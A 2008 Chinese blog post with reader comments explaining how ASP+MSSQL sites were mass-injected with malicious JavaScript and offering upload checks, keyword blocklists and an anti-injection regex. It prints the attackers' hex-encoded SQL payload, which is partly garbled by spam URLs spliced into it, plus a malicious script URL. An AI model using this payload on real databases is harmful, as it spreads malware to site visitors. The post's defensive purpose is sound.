飘易博客(作者:Flymorn)
订阅《飘易博客》RSS,第一时间查看最新文章!
飘易首页 | 留言本 | 关于我 | 订阅Feed

防范MSSQL数据库被挂马插入JS/sql注入的解决方法

Author:Flymorn Source:飘易博客
Categories:数据库 PostTime:2008-12-6 23:44:59
正 文:
    这阵子,采用ASP+MSSQL设计的很多网站可能遭遇到sql数据库被挂马者插入JS木马的经历;这不,朋友的一个网站就被黑客忽悠了一把,mssql的每个varchar、text字段都被自动插入一段js代码,即使删除这段代码,如果没有从源头上解决,几分钟后,js代码就又会自动插入数据库。

    经过飘易的观察,这很有可能是程序自动执行的,黑客先从搜索引擎google、百度等搜索存在漏洞的采用asp+mssql设计的网站,然后采用小明子这样的注入扫描工具,扫描整个网站,一旦发现有sql注入的漏洞或者上传漏洞,黑客就通过各种手段,上传自己的大马,如海阳木马;然后,黑客就把这个网站纳入他的肉鸡列表,随时在数据库里加入自己希望加的js代码,而这些代码往往是包含着众多的的病毒、木马,最终让访问受控网站的用户的电脑中毒。

    虽然,可以通过sql查询分析器执行批量代换,暂时解决被插入的js代码问题,然而不从根本上解决整个网站存在的漏洞,包括程序上和服务器安全权限,那么黑客还是随时可以入侵你的网站数据库。

    在sql查询分析器里可以执行以下的代码批量替换js代码:


update 表名 set 字段名=replace(字段名,'<Script Src=http://c.n%75clear3.com/css/c.js></Script>','') 

    flymorn仔细检查了网站,发现网站存在几个安全问题:

    第一,网站存在上传漏洞;虽然,上传文件需要管理员身份验证,也对上传文件进行了文件格式的认证,但管理员身份验证采用了cookies,而cookies是可以被伪造的,而且如果上传了图片后,不对该文件的内容采取任何判断的话,那么图片木马也很有可能被上传。

    flymorn的解决措施:1 删除上传文件功能(不太实际);2 修改上传用户验证为session验证;3 对上传后的文件内容进行验证,如果是图片木马,则删除;可以参考以下的验证代码:

''===============判断上传文件是否含非法字符串start================
set MyFile = server.CreateObject("Scripting.FileSystemObject")
set MyText = MyFile.OpenTextFile(Server.mappath(filePath), 1) '读取文本文件
sTextAll = lcase(MyText.ReadAll)
MyText.close
set MyFile = nothing
sStr="<%|.getfolder|.createfolder|.deletefolder|.createdirectory|.deletedirectory|.saveas|wscript.shell|script.encode|server.|.createobject|execute|activexobject|language="
sNoString = split(sStr,"|") 
for i=0 to ubound(sNoString)
  if instr(sTextAll,sNoString(i)) then
    set filedel = server.CreateObject("Scripting.FileSystemObject")
    filedel.deletefile Server.mappath(filePath)
    set filedel = nothing
    Response.Write("<script>alert('您上传的文件有问题,上传失败!');history.back();</script>")
    Response.End
  end if
next
''=================判断上传文件是否含非法字符串end===================

     第二,网站存在cookies注入漏洞。由于程序设计中,为了考虑到减小服务器的开销,所有用户登陆后采用cookies验证,这个cookies里保存了用户的 ID 和 NAME ,而众所周知,cookies是经常被黑客伪造的,这是其一;另外,某些外部参数 没有采用严格的 request.form 和 request.querystring 来获取内容,为了简便,采用了 request("id") 这样的方式。

     我们知道,ASP 的request 是先从form、querystring里获取内容,如果这两个为空,则要从cookies里获取内容,大家往往在程序设计中考虑到了 request.form 和 request.querystring 的SQL注入,所以一般都会过滤 request.form 和 request.querystring进行sql注入;但却偏偏忘了过滤cookies方式下的注入。我们来看下下面这样的sql语句:

SQL="select * from 表名 where id="&request("id") 

    如果这个 id 恰巧是通过cookies来获取值的,那么想想,这是一件多么可怕的事啊!注入者可以轻松的伪造一个名为 id 的虚假 cookies ,因为这个 id 的cookies 是服务器分配给客户端的。这个cookies可以被伪造成类似下面这样的一段代码:

dEcLaRe @s vArChAr(4000);sEt @s=cAsT(0x6445634c615265204074207641724368417228323535292c406320764172436841722832353529206445634c6
15265207441624c655f637572736f5220635572536f5220466f522073456c456354206 IT人才网(http://it.ad0.cn) 12e6e416d452c622e6e416d
452046724f6d207359734f624a6543745320612c735973436f4c754d6e53206220774865526520612e694www.ad0.cn43d622e6
94420416e4420612e78547950653d27752720416e442028622e78547950653d3939206f5220622e78547950653d3
335206f5220622e78547950653d323331206f5220622e78547950653d31363729206f50654e207441624c655f6375
72736f52206645744368206e6578742046724f6d207441624c655f637572736f5220694e744f2040742c4063207768
696c6528404066457443685f7374617475733d302920624567496e20657865632827557044615465205b272b40742
b275d20734574205b272b40632b275d3d727472696d28636f6e7665727428764172436841722c5b272b40632b275
d29292b27273c2f7469746c653e3c736372697074207372633d687474703a2f2f2536622536622533362532652537
352537332f312e6a733e3c2f7363726970743e27272729206645744368206e6578742046724f6d207441624c655f6
37572736f5220694e744f2040742c406320654e6420634c6f5365207441624c655f637572736f52206445416c4c6f4
3615465207441624c655f637572736f520d0a aS vArChAr(4000));exec(@s);-- 

     看晕了吧。这是利用HEX的方式进行SQL注入,可以绕过一般的IDS验证,只要系统存在SQL注入,上面的代码将会被执行,通过游标遍历数据库中的所有表和列并在列中插入js代码。

     飘易采取的解决办法:1 严格过滤 request.form 和 request.querystring 获取的内容,坚决不用 request("name") 这样的方式获取值,凡是采用 cookies 保存的内容,尽量不要用在sql语句里进行查询数据库操作;2 重要的用户资料尽量采用 session 验证,因为session是服务器端的,客户端无法伪造数据,除非他有你服务器的权限。

     可以采用以下的防范 get 、post以及cookies 注入的代码来过滤 sql 注入攻击:

<%
Response.Buffer = True  '缓存页面
'防范get注入
If Request.QueryString <> ""  Then StopInjection(Request.QueryString)
'防范post注入
If Request.Form <> ""  Then StopInjection(Request.Form)
'防范cookies注入
If Request.Cookies <> ""  Then StopInjection(Request.Cookies)

'正则子函数
Function StopInjection(Values)
Dim regEx
Set regEx = New RegExp
    regEx.IgnoreCase = True
    regEx.Global = True
    regEx.Pattern = "'|;|#|([\s\b+()]+([email=select%7Cupdate%7Cinsert%7Cdelete%7Cdeclare%7C@%7Cexec%7Cdbcc%7Calter%7Cdrop%7Ccreate%7Cbackup%7Cif%7Celse%7Cend%7Cand%7Cor%7Cadd%7Cset%7Copen%7Cclose%7Cuse%7Cbegin%7Cretun%7Cas%7Cgo%7Cexists)[/s/b]select|update|insert|delete|declare|@|exec|dbcc|alter|drop|create|backup|if|else|end|and|or|add|set|open|close|use|begin|retun|as|go|exists)[\s\b[/email]+]*)"
    Dim sItem, sValue
    For Each sItem In Values
        sValue = Values(sItem)
        If regEx.Test(sValue) Then
            Response.Write "<Script Language=javascript>alert('非法注入!你的行为已被记录!!');history.back(-1);</Script>"
            Response.End
        End If
    Next
    Set regEx = Nothing
End function
%>

     把以上的代码另存为一个文件,如 antisql.asp ,然后在数据库连接文件开头包含这个文件 <!--#include file="antisql.asp"--> ,就可以实现全站的防范 sql 注入的攻击了。

     第三,严格过滤外部提交数据。判断提交页面的来源,如果不是当前站点,则拒绝提交。可以参考以下的代码,虽然来源网址可以伪造,但有这样的判断,毕竟可以阻挡那些没有技术含量的恶意提交:

<%''判断来源,禁止外部提交
dim server_v1,server_v2
server_v1=Cstr(Request.ServerVariables("HTTP_REFERER"))
server_v2=Cstr(Request.ServerVariables("SERVER_NAME"))
if server_v1="" or instr(server_v1,"发表页面名")<=0 or mid(server_v1,8,len(server_v2))<>server_v2 then
response.write "<SCRIPT language=JavaScript>alert('来源非法,禁止外部提交!');"
response.write "this.location.href='vbscript:history.back()';</SCRIPT>"
response.end
end if%>

     第四,做好服务器权限的分配。对于数据库的权限,尽量分配最小的权限给用户使用,如果把sa或管理员的权限分下来,一旦被攻击沦陷,这将是一个毁灭性的打击。mssql 的1433端口,飘易建议不用的时候,最好关闭。

     总之,安全问题是一个综合的问题,一个小的细节,可能让你的几个月甚至几年的心血付之东流。我们不仅要从程序上着手每个细节,而且要仔细做好服务器的安全工作,对于虚拟主机的用户,还要防范服务器上的跨站攻击。细节决定成败。
作者:Flymorn
来源:飘易博客
版权所有。转载时必须以链接形式注明作者和原始出处及本声明。
上一篇:DNSPod智能解析今天遭遇24G流量攻击
下一篇:双线主机的智能DNS解析的方法
30条评论 “防范MSSQL数据库被挂马插入JS/sql注入的解决方法”
1 fdploy@163.com
2008-12-7 12:03:53
写得很好,我就是此类注入的受害者,.在此表示感谢
2 文不对题
2008-12-8 0:53:10
文不对题,这次的攻击根本不是COOKIE攻击,是POST攻击.

建议防注入文件里至少加上 CHAR CAST等过滤

另外数据提交的页面里,把文本字段都过滤JAVASCRIPT 单引号 分号 等,最好所有都过滤一下
3 flymorn
2008-12-8 9:03:39
回2楼,每个网站被攻击的具体原因不尽相同,我分析的是个例,并不代表全部。
不过你说的POST攻击也是要注意的,但程序里已经对来源进行了判断。

过滤需要一个合适的度,多了影响正常提交,少了防不住SQL注入……
4 seven
2008-12-8 10:13:22
你朋友网站的问题解决了吗?
-----------------
flymorn:已解决。
5 dsjt
2008-12-8 11:35:06
非常感谢谢.
2008-12-8 17:45:16
呵呵,好久没来你的博客看了。。。
7 菜鸟
2008-12-11 22:02:44
写得很好,我就是此类注入的受害者,.,,我的问题还没有解决方案..请高手帮帮我这个菜鸟
请联系QQ116535030等
8 菜鸟
2008-12-11 22:03:14
写得很好,我就是此类注入的受害者,.,,我的问题还没有解决方案..请高手帮帮我这个菜鸟
请联系QQ116535030等
9 可能
2008-12-20 17:23:24
不错。分析得非常的好。值得推荐。收藏
10 求助
2008-12-25 16:05:43
高手,我网站遇此类注入的受害者,需求高手解决..请flymorn回复,联系QQ 16180751
---------------
请到博客首页,加博主的qq号。--flymorn
11 求助
2008-12-25 16:06:24
flymorn ,需求帮助
请联系QQ 16180751
12 感谢感谢
2008-12-25 20:57:49
不过有个问题,那些被屏蔽的字词有些事实上在正常的文章发布中是需要的啊,如何解决呢?
------------------
flymorn建议:尽量避开敏感关键字;如果确实需要用到,请把文章的中的关键字替换成全角,如exec替换成exec。
13 紧急求助
2008-12-28 16:33:11
我站被注入木马。求助,帮我解决一下,严重感谢!
请联系QQ  81820295  谢谢http://www.lyhdw.com
--------------------------------------------
请到博客首页,加博主的qq号。
--flymorn
14 xiaoyu
2008-12-29 12:22:23
博主,您好,看了你的文章,受益很大,
我的网站数据库也被注入了JS代码,现在按您的方法清除掉了,
可是这只是治标不治本的,因为我不知道他们是怎么注入的,或者从哪个页面注入,
博主能否提供一些检查网站注入漏洞的工具,非常感谢~~~
15 inly
2008-12-31 15:52:57
我的也被搞了  解决不了 加你QQ了 帮忙下 谢谢飘易
16 ruby
2009-1-3 20:41:30
这个防入注是好,但是如果别人的正常内容里面包函select 或exec等,那咋办呢?
一直比效郁闷的事
-------
如果你的程序写的好,是不需要这么严格的防范的。flymorn
17 Neiou
2009-2-3 15:39:37
偶然间我们网站也有插入数据的,还有问题要和博主交流下..http://www.luosi.com
18 zzy
2009-3-9 10:33:23
我的网站经常被注入,郁闷,加我QQ:343237248
帮忙下http://www.0755b2b.com
19 我也被数据库挂马
2009-3-16 18:43:08
能不能帮帮我,我也数据库也被这样挂马,我QQ:56908920
20 cyts
2009-3-17 11:28:58
感谢高手指点
21 kxzxf
2009-3-26 22:02:14
如果加了上述的代码,能否杜绝。我在上传文件中没有发现新文件。我的QQ:119256809.希望得到您的帮助。
2009-9-7 10:17:49
麻烦你!请教些问题 谢谢 请帮忙下
23 qq好人
2009-9-16 11:38:32
set MyText = MyFile.OpenTextFile(Server.mappath(filePath), 1) '读取文本文件  运行是出错啊!
请帮忙看看,如何改!!谢谢
24 啤酒泡泡
2009-10-9 12:59:56
写的很好,我也是受害者!
25 简单方法
2009-12-18 21:13:08
购买微点杀毒草软件,安装后可以高枕无忧
26 Kris Peter
2010-2-8 17:57:42
很精典,非常好,值得学习,多多加油啊!
27 Kris Peter
2010-2-8 17:57:56
很精典,非常好,值得学习,多多加油啊!
2010-2-13 3:11:23
非常感谢贵站站长,我的网站也被注册,用了你的全站防范,效果非常好!感谢!
29 十分感谢
2011-3-2 11:08:44
十分感谢,我的网站也被注册,气死我了。
30 文写得很好,人并且热心
2012-6-14 10:21:18
收藏了。很精典,非常好,值得学习。
发表评论
名称(*必填)
邮件(选填)
网站(选填)

记住我,下次回复时不用重新输入个人信息
© 2007-2010 飘易博客 Www.Piaoyi.Org 原创文章版权由飘易所有 渝ICP备07006361号